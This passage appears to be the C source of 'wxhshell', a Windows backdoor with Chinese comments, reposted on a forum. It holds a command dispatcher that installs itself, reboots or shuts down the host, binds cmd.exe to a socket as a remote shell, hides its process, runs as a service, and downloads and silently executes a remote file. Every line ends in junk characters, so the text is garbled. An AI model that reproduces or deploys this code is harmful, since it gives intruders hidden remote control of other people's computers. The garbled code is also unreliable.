      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ISmnZ@  
    break; <,C})H?  
  } T5;D0tM/  
  // 安装 2ZeL  
  case 'i': { D ]eF3a.G  
    if(Install()) LsV"h<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |_*1/Wz@  
    else uBgHtjmae  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RI;RE/Z  
    break; ,Pm/ci( s  
    } }tPl?P'`  
  // 卸载 ZP<X#]$qb  
  case 'r': { -~k2Gy;E  
    if(Uninstall()) s_TM!LRUcw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oJ+$&P(  
    else o*xEaD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TbuR?#  
    break; y;jyfc$ `  
    } { Se93o  
  // 显示 wxhshell 所在路径 .Dmvgi]  
  case 'p': { Vp$ckr  
    char svExeFile[MAX_PATH]; *1n:  
    strcpy(svExeFile,"\n\r"); 8ic_|hfY  
      strcat(svExeFile,ExeFile); /H% pOL6(r  
        send(wsh,svExeFile,strlen(svExeFile),0); QPEv@laM  
    break; kuaov3Ui  
    } =Yk$Q\c  
  // 重启 {xX|5/z  
  case 'b': { z-j\S7F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `39U I7  
    if(Boot(REBOOT)) O.dNhd$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /'(P{O>{j  
    else { `h'^S,'*  
    closesocket(wsh); @\R)k(F  
    ExitThread(0); @C2<AmY9q*  
    } zU%aobZ  
    break; `ijX9c  
    } \ck3y]a[  
  // 关机 {Hv=iVmt  
  case 'd': { !l|Qyk[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /[L:ol6;!  
    if(Boot(SHUTDOWN)) PhS"tOGtX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dEiX! k$#  
    else { {65X37W  
    closesocket(wsh); "=;&{N~8U  
    ExitThread(0); A UK7a  
    } Mi/_hzZ\  
    break; GZw<Y+/V"5  
    } wkGF&U  
  // 获取shell ?8 F7BS4oQ  
  case 's': { =DgD&_  
    CmdShell(wsh); ;ORy&H aKl  
    closesocket(wsh); ;V GrZZ  
    ExitThread(0); oCrn  
    break; itU01  
  } l O^h)hrR  
  // 退出 V4H+m,R  
  case 'x': { k <qQ+\X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MqqS3   
    CloseIt(wsh); a#1X)ot  
    break; AN;?`AM;  
    } Ub$$wOsf  
  // 离开 h4#5j'RO  
  case 'q': { vIJdl2(^E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -*EJj>x  
    closesocket(wsh); 1\p[mN  
    WSACleanup(); zSO[f  
    exit(1); CHz(wn  
    break; *Pl[a1=o  
        } i469<^A  
  } f19 i !  
  } 9`muk  
 ;P_Zen  
  // 提示信息 jd{J3s '%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]~P?  
} @lX)dY  
  } 9pgct6BO  
0[];c$r<  
  return; uFqH_04  
} aE"t['  
Wac8x%J  
// shell模块句柄 -=RXhE_{  
int CmdShell(SOCKET sock) rtpjx%  
{ &}FYz8w 2/  
STARTUPINFO si; gLH(Wr~(a  
ZeroMemory(&si,sizeof(si)); z 4-wvn<*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t^'1Ebg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Uu(W62  
PROCESS_INFORMATION ProcessInfo; y^ :x2P  
char cmdline[]="cmd"; CeQcnJU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !>tXib]:  
  return 0; .^uu* S_  
} it,%T)2H  
wKYfqNCH  
// 自身启动模式 38#(ruv  
int StartFromService(void) mf3G$=[  
{ LP~$7a  
typedef struct Dt ?Fs  
{ 4c% :?H@2  
  DWORD ExitStatus; Di6:r3sEO  
  DWORD PebBaseAddress; iY2bRXA  
  DWORD AffinityMask; DXUI/C f  
  DWORD BasePriority; 1/m/Iw@  
  ULONG UniqueProcessId; 86_Zh5:  
  ULONG InheritedFromUniqueProcessId; rT#QA=YB  
}   PROCESS_BASIC_INFORMATION; Q,$x6YwE  
;i]cmy  
PROCNTQSIP NtQueryInformationProcess; R Q 8okA  
rLnu\X=h$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /~yqZD<O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &jJgAZ!  
q\,H9/.0k  
  HANDLE             hProcess; Ov9.qNT  
  PROCESS_BASIC_INFORMATION pbi; NF.SGga  
"*0 szz'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $=bN=hE  
  if(NULL == hInst ) return 0; f,1rmX1  
5Z:HCp-aG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZoUfQ!2*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j@DyWm/7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @sDd:> t  
jK{MU) D+  
  if (!NtQueryInformationProcess) return 0; @dXf_2Tv=  
T \AuL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '>6-ie^0  
  if(!hProcess) return 0; b{oNV-<&{  
NOx| #  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N_ >s2  
K.%E=^~q  
  CloseHandle(hProcess); ?YS`?Rr  
UYPBKf]A9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n33SWE(  
if(hProcess==NULL) return 0; <.<Nw6  
>GcFk&x  
HMODULE hMod; x6,RW],FGR  
char procName[255]; V7^?jck  
unsigned long cbNeeded; NE! Xt<A  
+)Ty^;+[1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @6gz)  p  
o _-t/ ?  
  CloseHandle(hProcess); 2vXMrh\  
L}9 @kjW  
if(strstr(procName,"services")) return 1; // 以服务启动 c.~|)^OXXO  
J+TYm%A;-  
  return 0; // 注册表启动 iZ:-V8{  
} QIw.`$H+  
aql*@8 )m  
// 主模块 r*g _  
int StartWxhshell(LPSTR lpCmdLine) ;)kBJ @  
{ 2P|-V};9  
  SOCKET wsl; ~vXul`x  
BOOL val=TRUE; s:_5p`w>  
  int port=0; J7xZo=@k  
  struct sockaddr_in door;  w&-r  
BgRiJFa.d[  
  if(wscfg.ws_autoins) Install(); ''6"Xi|5  
6?74l;  
port=atoi(lpCmdLine); yT>T Vq/e  
;?cUF78#  
if(port<=0) port=wscfg.ws_port; nQ+{1 C  
:G-1VtE n  
  WSADATA data; & dS+!<3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; csV1ki/A  
vr;7p[~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]_Qc}pMF&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YlA=? X  
  door.sin_family = AF_INET; Bm?Ku7}.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MG<~{Y84}  
  door.sin_port = htons(port); X6;aF ;"5  
Y~CS2%j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EKt-C_)U  
closesocket(wsl); vi2xonq^  
return 1; =SdWU}xn2  
} XyIw5 9  
i^> RjR  
  if(listen(wsl,2) == INVALID_SOCKET) { *qqFIp^  
closesocket(wsl); NubD2  
return 1; h"'f~KM9a>  
} s.~SV"  
  Wxhshell(wsl); #4hP_Vhc  
  WSACleanup(); 4[#.N 3Y4*  
,^[s4 =3X?  
return 0; Qw ^tzP8  
GZ e )QH  
} ?=vwr,ir  
*Dn{MD7,M  
// 以NT服务方式启动 XkD_SaL}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sPw(+m*C   
{ jlB3BwG{w  
DWORD   status = 0; ^KlOD_GN|  
  DWORD   specificError = 0xfffffff; LY>JE6zTt  
/t/q$X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &><`?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fx|9*|E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4S=lO?\"A  
  serviceStatus.dwWin32ExitCode     = 0; #Z.JOwi  
  serviceStatus.dwServiceSpecificExitCode = 0; RS1oPY  
  serviceStatus.dwCheckPoint       = 0; '-x%?Ll  
  serviceStatus.dwWaitHint       = 0; J0oR]eT}  
 ^ "f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +2g3%c0}  
  if (hServiceStatusHandle==0) return; zPXd]jIwV  
:JS} (  
status = GetLastError(); ^Nu} HcC+  
  if (status!=NO_ERROR) (UM+?]Qwy  
{ #i,O "`4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Jq!($PdA  
    serviceStatus.dwCheckPoint       = 0; `Ctj]t  
    serviceStatus.dwWaitHint       = 0; HlO+^(eX  
    serviceStatus.dwWin32ExitCode     = status; ALv\"uUNu+  
    serviceStatus.dwServiceSpecificExitCode = specificError; l ghzd6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mc8^{br61  
    return; 83h3C EQ  
  } v+OVZDf  
jQDxbkIuzE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u2eq VrY  
  serviceStatus.dwCheckPoint       = 0; 9D<HJ(  
  serviceStatus.dwWaitHint       = 0; <uvshZ v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E%e-R6gl  
} B8&@Qc@~  
okv7@8U#p  
// 处理NT服务事件,比如:启动、停止 $_VD@YlAp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S6QG:|#P  
{ mvw:E_  
switch(fdwControl) j oG>=o  
{ }u&JX  
case SERVICE_CONTROL_STOP: &-zI7@!  
  serviceStatus.dwWin32ExitCode = 0; U}7[8&k1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "&%Hb's  
  serviceStatus.dwCheckPoint   = 0; N7_Co;#(zK  
  serviceStatus.dwWaitHint     = 0; Xx^c?6YM  
  { jDnh/k0{d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E=E<l?ob  
  } AM[:Og S  
  return; Ef!F;De)A  
case SERVICE_CONTROL_PAUSE: Yem\`; *  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v\Hyu1;8  
  break; }pA4#{)  
case SERVICE_CONTROL_CONTINUE: twn@~$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *+AP}\p0F  
  break; \ C^D2Z6  
case SERVICE_CONTROL_INTERROGATE: ka*UyW}  
  break; GZ={G2@=I  
}; ".\(A f2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |?> h$'  
} N_<n$3P\?f  
>O _  
// 标准应用程序主函数 X]!@xlwF\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8vo} .JIl  
{ fCfY.vd5  
m ";gD[m  
// 获取操作系统版本 D6t]E)FH  
OsIsNt=GetOsVer(); RBXoU'.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !=we7vK}  
lySaJ d  
  // 从命令行安装 NSq"\A\  
  if(strpbrk(lpCmdLine,"iI")) Install(); -AE/,@\P  
DXt^Ym5Cv  
  // 下载执行文件 S%oGBY*Z  
if(wscfg.ws_downexe) { v<wT`hiKW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  b\2"1m0H  
  WinExec(wscfg.ws_filenam,SW_HIDE); F0\ry "(t  
} &u8c!;y$b  
JF gN  
if(!OsIsNt) { | QA8"&r  
// 如果时win9x,隐藏进程并且设置为注册表启动 <G >PPf}  
HideProc(); N[-)c,O  
StartWxhshell(lpCmdLine); m%&B4E#3T  
} 7h2bL6Y88  
else .kIf1-(<U  
  if(StartFromService()) xh0A2bw'OP  
  // 以服务方式启动 s__g*%@B b  
  StartServiceCtrlDispatcher(DispatchTable); 5IK@<#wE  
else 2. _cEY34  
  // 普通方式启动 A=K1T]o  
  StartWxhshell(lpCmdLine); #"_MY-  
i1 &'Zh  
return 0; N,|oV|i  
}
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只看该作者 1 发表于: 2006-10-10
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